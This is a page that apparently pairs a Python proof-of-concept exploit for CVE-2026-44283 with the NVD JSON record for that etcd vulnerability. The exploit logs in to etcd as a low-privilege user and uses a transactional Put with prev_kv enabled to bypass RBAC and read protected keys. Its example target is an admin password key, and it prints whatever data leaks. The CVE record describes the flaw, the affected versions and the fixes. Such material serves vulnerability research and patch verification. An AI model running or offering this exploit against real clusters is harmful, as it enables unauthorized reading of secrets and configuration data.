CVE-2026-44283

import etcd3 # Exploit code for CVE-2026-44283 # Demonstrates bypassing RBAC using transaction with PrevKv def exploit_rbac_bypass(host, port, user, password, target_key): try: # Authenticate with low-privilege user client = etcd3.client(host=host, port=port, user=user, password=password) # Construct a transaction with Put operation that has prev_kv=True # This attempts to return the previous value of the key # Even if the user lacks explicit 'GET' permission on the key compare = [] success_actions = [ client.transactions.put(target_key, b'bypass_data', prev_kv=True) ] failure_actions = [] # Execute transaction txn_result, responses = client.transaction(compare, success_actions, failure_actions) if txn_result: for response in responses: # Check if prev_kv contained data (Bypass successful) if hasattr(response, 'prev_kv') and response.prev_kv: print(f"[+] Exploit Successful! Leaked Data: {response.prev_kv.value}") else: print("[-] No data leaked or key does not exist.") else: print("[-] Transaction failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Configuration ETCD_HOST = '127.0.0.1' ETCD_PORT = 2379 LOW_PRIV_USER = 'attacker' LOW_PRIV_PASS = 'password' TARGET_KEY = '/config/admin/password' exploit_rbac_bypass(ETCD_HOST, ETCD_PORT, LOW_PRIV_USER, LOW_PRIV_PASS, TARGET_KEY)

{"cve": {"id": "CVE-2026-44283", "sourceIdentifier": "[email protected]", "published": "2026-05-14T18:16:49.650", "lastModified": "2026-05-15T18:24:59.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "etcd is a distributed key-value store for the data of a distributed system. Prior to 3.4.44, 3.5.30, and 3.6.11, a vulnerability in etcd allows read access via PrevKv, or lease attachment in Put requests within transaction operations, to bypass RBAC authorization checks. An authenticated user without sufficient read or lease-related permissions may be able to access unauthorized data or attach leases by invoking transaction operations with these features enabled. This vulnerability is fixed in 3.4.44, 3.5.30, and 3.6.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 0.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.44", "matchCriteriaId": "568DC65D-3E58-49DC-A24A-135CE065F1C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.30", "matchCriteriaId": "9BA51104-9E69-42B7-98BB-44932C0143B2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.11", "matchCriteriaId": "81E4F5D2-8C2D-4206-9C96-11C79E0FAC06"}]}]}], "references": [{"url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-x35m-3gp4-4fh5", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}